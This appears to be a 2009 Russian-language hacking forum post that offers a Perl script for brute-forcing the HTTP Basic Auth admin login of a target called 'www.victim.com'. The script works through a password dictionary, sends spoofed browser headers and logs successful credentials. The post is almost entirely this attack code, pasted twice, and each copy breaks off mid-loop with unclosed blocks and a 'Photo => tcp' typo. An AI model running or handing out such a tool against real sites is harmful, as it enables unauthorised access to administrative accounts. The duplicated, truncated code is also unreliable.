Звeрь
31.01.2009, 01:03
Brute admin password [perl]
тестил на себе работает :D
#!/usr/bin/perl
use MIME::Base64;
use IO::Socket;
use POSIX;
$server="www.victim.com";### Адрес сервера
$port="80";
$dir="/admin";### путь к админке
$logfile="sucess.log";
$log="now.log";
$words="bigdict.txt";### список паролей
$user="admin";
open(file, "$words") or die print "$!\n";
@data=<file>;
$total=@data;
close file;
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc);
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp)
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n";
$ans=<$socket>;
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0;
тестил на себе работает :D
#!/usr/bin/perl
use MIME::Base64;
use IO::Socket;
use POSIX;
$server="www.victim.com";### Адрес сервера
$port="80";
$dir="/admin";### путь к админке
$logfile="sucess.log";
$log="now.log";
$words="bigdict.txt";### список паролей
$user="admin";
open(file, "$words") or die print "$!\n";
@data=<file>;
$total=@data;
close file;
$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$!\n";
$perc=($i*100)/$total;
$perc=ceil($perc);
print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Photo => tcp)
or die print "Unable to connect to $server:$port\n";
print $socket "GET $dir HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Referer: http://support.microsoft.com/\n";
print $socket "User-Agent: Internet Explorer 6.0\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Authorization: Basic $auth\n";
print $socket "Connection: close\n\n";
$ans=<$socket>;
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
exit 0;